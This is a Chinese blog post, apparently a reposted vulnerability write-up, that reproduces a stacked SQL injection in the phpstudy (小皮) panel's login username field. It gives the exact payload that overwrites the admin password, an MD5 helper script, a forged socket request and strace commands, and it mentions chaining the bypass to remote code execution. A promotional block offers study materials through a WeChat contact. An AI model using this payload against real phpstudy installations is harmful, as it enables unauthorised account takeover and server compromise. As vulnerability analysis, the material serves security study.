漏洞簡介
漏洞起源于前段時間比較火的小皮 1-click 漏洞,用戶名登錄處缺少過濾,導致可以直接構造惡意 payload 實作存盤型 XSS ,結合小皮本身所具有的計劃任務,XSS + CSRF 實作了 RCE , 因為用戶名登錄處缺少過濾,所以可以嘗試 SQL 漏洞,
環境搭建
windows 上實際操作了一下,不方便進行分析
于是利用 linux 來進行復現分析,利用官網提供的方法執行,之后再回滾修改代碼
wget -O install.sh https://download.xp.cn/install.sh && sudo bash install.sh?
修改代碼 web/service/app/account.php? 中登錄的部分
if($type=='login'){
$username = post('username');
$pwd = post('password');
$verifycode = post('verifycode');
$res = Account::login($username,$pwd,$verifycode);
xpexit(json_encode($res));
}
?
打開代碼 /usr/local/phpstudy/web/service/app/account.php? 修改代碼
?
?
漏洞復現
windows
在用戶登錄處構造 payload 其中 PASSWORD 的值是經過五次 md5 加密后的結果
import hashlib
?
str = "123456"
for i in range(0,5):
str = hashlib.md5(str.encode()).hexdigest()
print(str)
?
admin';UPDATE ADMINS set PASSWORD = 'c26be8aaf53b15054896983b43eb6a65' where username = 'admin';--
?
?
雖然提示用戶名密碼錯誤,但是密碼已經被更新,再次利用 admin/123456 成功登錄
【----幫助網安學習,以下所有學習資料免費領!加vx:yj009991,備注 “博客園” 獲取!】
① 網安學習成長路徑思維導圖
② 60+網安經典常用工具包
③ 100+SRC漏洞分析報告
④ 150+網安攻防實戰技術電子書
⑤ 最權威CISSP 認證考試指南+題庫
⑥ 超1800頁CTF實戰技巧手冊
⑦ 最新網安大廠面試題合集(含答案)
⑧ APP客戶端安全檢測指南(安卓+IOS) ?
Linux
在用戶登錄處構造 payload
admin';UPDATE ADMINS set PASSWORD = 'c26be8aaf53b15054896983b43eb6a65' where username = 'admin';--
?
錯誤型別并不相同,但也成功的將密碼修改
漏洞分析
?
查看開放埠資訊 ,發現有兩個埠與 phpstudy 的行程相關 9080、8090
9080 對應的是 web 端的資訊 8090 對應的是二進制程式
?
?
外部訪問不到 8090 埠 只能再內部構造資料進行通信
?
?
專案的代碼在 /usr/local/phpstudy/web?
web/service/app/account.php?
?
?
web/service/app/model/Account.php?
?
通過 POST 獲取到的資料,利用 Socket 將資料發送到 8090 進行處理
?
我們可以根據代碼邏輯偽造 socket 請求
{"command":"login","data":{"username":"admin","pwd":"123456"}}^^^
?
利用 strace 可以監控行程 strace -s4096 -tt -f -ewrite -p 49433? 監控 phpstudy 的行程,發送錯誤的payload
{"command":"login","data":{"username":"admin'","pwd":"123456"}}^^^
?
?
獲取到登錄時對應的 SQL 陳述句
SELECT ID FROM ADMINS WHERE ALIAS = 'admin'' AND PASSWORD = 'c26be8aaf53b15054896983b43eb6a65' AND STATUS = 0
根據 SQL 陳述句可以構造惡意陳述句,構造惡意陳述句,執行錯誤的 SQL 陳述句后,程式會發生崩潰,所以無法利用萬能密碼登錄,
這里我們可以思考利用堆疊注入,執行多個 SQL 陳述句,修改 admin 用戶密碼,我們構造這樣的用戶名
admin';UPDATE ADMINS set PASSWORD = 'c26be8aaf53b15054896983b43eb6a65' where username = 'admin';--
拼接到 SQL 陳述句中就為
SELECT ID FROM ADMINS WHERE ALIAS = 'admin';UPDATE ADMINS set PASSWORD = 'c26be8aaf53b15054896983b43eb6a65' where username = 'admin';--' AND PASSWORD = 'c26be8aaf53b15054896983b43eb6a65' AND STATUS = 0
最終執行的 SQL 陳述句為
SELECT ID FROM ADMINS WHERE ALIAS = 'admin';UPDATE ADMINS set PASSWORD = 'c26be8aaf53b15054896983b43eb6a65' where username = 'admin';
將用戶 admin 的 密碼修改為了 123456
再次登錄時就可以使用 admin/123456 成功登錄,再結合之前的 1-click RCE 中利用 phpstudy 后臺計劃任務執行,最終實作未授權 RCE ,
第一次登錄時 使用 admin/123456 登錄失敗,提示用戶名或者密碼錯誤
?
?
輸入構造的 payload
?
再次利用 admin/123456 登錄成功,用戶的密碼已經被修改
?
?
更多靶場實驗練習、網安學習資料,請點擊這里>>
合天智匯:合天網路靶場、網安實戰虛擬環境
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/549159.html
標籤:其他
